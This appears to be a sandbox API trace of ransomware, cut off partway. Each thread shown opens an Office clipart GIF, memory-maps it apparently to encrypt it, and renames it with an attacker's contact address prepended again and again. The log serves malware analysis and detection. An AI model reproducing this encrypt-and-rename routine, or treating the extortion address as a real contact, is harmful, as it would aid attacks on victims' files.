	[0094.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif")) returned 1
	[0094.432] free (_Block=0x51f1078) 
	[0094.432] RtlExitUserThread (Status=0x0) 

Thread:
	id = 561
	os_tid = 0x1930

	[0094.489] _alloca_probe () returned 0x40328a
	[0094.490] GetCurrentThreadId () returned 0x1930
	[0094.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", dwFileAttributes=0x80) returned 1
	[0094.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb78
	[0094.490] GetFileSizeEx (in: hFile=0xb78, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5329) returned 1
	[0094.490] CreateFileMappingA (hFile=0xb78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14d1, lpName=0x0) returned 0xb7c
	[0094.490] MapViewOfFile (hFileMappingObject=0xb7c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.492] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.492] CloseHandle (hObject=0xb7c) returned 1
	[0094.492] GetCurrentThreadId () returned 0x1930
	[0094.492] FlushFileBuffers (hFile=0xb78) returned 1
	[0094.494] CloseHandle (hObject=0xb78) returned 1
	[0094.494] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 242
	[0094.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif")) returned 1
	[0094.495] free (_Block=0x51f3088) 
	[0094.495] RtlExitUserThread (Status=0x0) 

Thread:
	id = 562
	os_tid = 0x1934

	[0094.497] _alloca_probe () returned 0x40328a
	[0094.497] GetCurrentThreadId () returned 0x1934
	[0094.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", dwFileAttributes=0x80) returned 1
	[0094.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb7c
	[0094.498] GetFileSizeEx (in: hFile=0xb7c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4977) returned 1
	[0094.498] CreateFileMappingA (hFile=0xb7c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1371, lpName=0x0) returned 0xb80
	[0094.498] MapViewOfFile (hFileMappingObject=0xb80, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.500] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.500] CloseHandle (hObject=0xb80) returned 1
	[0094.500] GetCurrentThreadId () returned 0x1934
	[0094.500] FlushFileBuffers (hFile=0xb7c) returned 1
	[0094.501] CloseHandle (hObject=0xb7c) returned 1
	[0094.502] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 242
	[0094.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif")) returned 1
	[0094.503] free (_Block=0x51f60a0) 
	[0094.503] RtlExitUserThread (Status=0x0) 

Thread:
	id = 563
	os_tid = 0x1938

	[0094.504] _alloca_probe () returned 0x40328a
	[0094.505] GetCurrentThreadId () returned 0x1938
	[0094.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", dwFileAttributes=0x80) returned 1
	[0094.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb80
	[0094.505] GetFileSizeEx (in: hFile=0xb80, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5057) returned 1
	[0094.505] CreateFileMappingA (hFile=0xb80, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xb84
	[0094.505] MapViewOfFile (hFileMappingObject=0xb84, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.507] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.507] CloseHandle (hObject=0xb84) returned 1
	[0094.507] GetCurrentThreadId () returned 0x1938
	[0094.507] FlushFileBuffers (hFile=0xb80) returned 1
	[0094.509] CloseHandle (hObject=0xb80) returned 1
	[0094.518] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 242
	[0094.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif")) returned 1
	[0094.519] free (_Block=0x51f1078) 
	[0094.519] RtlExitUserThread (Status=0x0) 

Thread:
	id = 564
	os_tid = 0x193c

	[0094.520] _alloca_probe () returned 0x40328a
	[0094.521] GetCurrentThreadId () returned 0x193c
	[0094.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", dwFileAttributes=0x80) returned 1
	[0094.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb84
	[0094.521] GetFileSizeEx (in: hFile=0xb84, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1169) returned 1
	[0094.521] CreateFileMappingA (hFile=0xb84, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x491, lpName=0x0) returned 0xb88
	[0094.521] MapViewOfFile (hFileMappingObject=0xb88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.522] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.522] CloseHandle (hObject=0xb88) returned 1
	[0094.522] GetCurrentThreadId () returned 0x193c
	[0094.522] FlushFileBuffers (hFile=0xb84) returned 1
	[0094.524] CloseHandle (hObject=0xb84) returned 1
	[0094.525] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 242
	[0094.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif")) returned 1
	[0094.526] free (_Block=0x51f3088) 
	[0094.526] RtlExitUserThread (Status=0x0) 

Thread:
	id = 565
	os_tid = 0x1940

	[0094.527] _alloca_probe () returned 0x40328a
	[0094.528] GetCurrentThreadId () returned 0x1940
	[0094.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", dwFileAttributes=0x80) returned 1
	[0094.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb88
	[0094.528] GetFileSizeEx (in: hFile=0xb88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7617) returned 1
	[0094.528] CreateFileMappingA (hFile=0xb88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dc1, lpName=0x0) returned 0xb8c
	[0094.528] MapViewOfFile (hFileMappingObject=0xb8c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.530] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.530] CloseHandle (hObject=0xb8c) returned 1
	[0094.530] GetCurrentThreadId () returned 0x1940
	[0094.530] FlushFileBuffers (hFile=0xb88) returned 1
	[0094.558] CloseHandle (hObject=0xb88) returned 1
	[0094.559] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 242
	[0094.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif")) returned 1
	[0094.581] free (_Block=0x51f3088) 
	[0094.581] RtlExitUserThread (Status=0x0) 

Thread:
	id = 566
	os_tid = 0x1944

	[0094.532] _alloca_probe () returned 0x40328a
	[0094.533] GetCurrentThreadId () returned 0x1944
	[0094.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", dwFileAttributes=0x80) returned 1
	[0094.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbb8
	[0094.559] GetFileSizeEx (in: hFile=0xbb8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7025) returned 1
	[0094.559] CreateFileMappingA (hFile=0xbb8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b71, lpName=0x0) returned 0xbb0
	[0094.559] MapViewOfFile (hFileMappingObject=0xbb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0094.564] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0094.564] CloseHandle (hObject=0xbb0) returned 1
	[0094.564] GetCurrentThreadId () returned 0x1944
	[0094.564] FlushFileBuffers (hFile=0xbb8) returned 1
	[0094.579] CloseHandle (hObject=0xbb8) returned 1
	[0094.583] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 242
	[0094.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif")) returned 1
	[0094.590] free (_Block=0x51f5098) 
	[0094.590] RtlExitUserThread (Status=0x0) 

Thread:
	id = 567
	os_tid = 0x1948

	[0094.544] _alloca_probe () returned 0x40328a
	[0094.544] GetCurrentThreadId () returned 0x1948
	[0094.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", dwFileAttributes=0x80) returned 1
	[0094.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xba0
	[0094.560] GetFileSizeEx (in: hFile=0xba0, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=13281) returned 1
	[0094.560] CreateFileMappingA (hFile=0xba0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33e1, lpName=0x0) returned 0xb98
	[0094.560] MapViewOfFile (hFileMappingObject=0xb98, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2410000
	[0094.568] UnmapViewOfFile (lpBaseAddress=0x2410000) returned 1
	[0094.569] CloseHandle (hObject=0xb98) returned 1
	[0094.569] GetCurrentThreadId () returned 0x1948
	[0094.569] FlushFileBuffers (hFile=0xba0) returned 1
	[0094.584] CloseHandle (hObject=0xba0) returned 1
	[0094.586] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 242
	[0094.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif")) returned 1
	[0094.593] free (_Block=0x51f60a0) 
	[0094.593] RtlExitUserThread (Status=0x0) 

Thread:
	id = 568
	os_tid = 0x194c

	[0094.546] _alloca_probe () returned 0x40328a
	[0094.546] GetCurrentThreadId () returned 0x194c
	[0094.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", dwFileAttributes=0x80) returned 1
	[0094.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb88
	[0094.561] GetFileSizeEx (in: hFile=0xb88, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=8609) returned 1
	[0094.561] CreateFileMappingA (hFile=0xb88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21a1, lpName=0x0) returned 0xb90
	[0094.561] MapViewOfFile (hFileMappingObject=0xb90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0094.566] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0094.566] CloseHandle (hObject=0xb90) returned 1
	[0094.566] GetCurrentThreadId () returned 0x194c
	[0094.566] FlushFileBuffers (hFile=0xb88) returned 1
	[0094.582] CloseHandle (hObject=0xb88) returned 1
	[0094.585] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 242
